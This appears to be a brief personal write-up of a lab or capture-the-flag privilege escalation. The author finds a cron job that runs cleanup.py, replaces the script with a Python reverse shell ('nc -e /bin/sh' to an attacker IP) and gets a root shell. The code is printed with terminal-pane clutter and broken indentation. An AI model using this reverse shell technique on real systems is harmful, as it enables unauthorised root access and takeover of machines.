privesc

Found a chronjob using ./lse.sh that runs a python script every 3 minutes

downloaded the cleanup.py file, added the following:

#!/usr/bin/env python                                                                                                        │$ cat cleanup.py
import os                                                                                                                    │cat cleanup.py
import sys                                                                                                                   │#!/usr/bin/env python
try:                                                                                                                         │import os
os.system("nc -e /bin/sh 192.168.49.104 21")                                                                         │import sys
except:                                                                                                                      │try:
print 'ERROR...'                                                                                                     │        os.system("nc -e /bin/sh 192.168.49.104 21")
sys.exit(0)

Uploaded back to the victim

From here I ran ‘mv cleanup.py.1 cleanup.py’ to overwrite and become the original.

This ran and I got root shell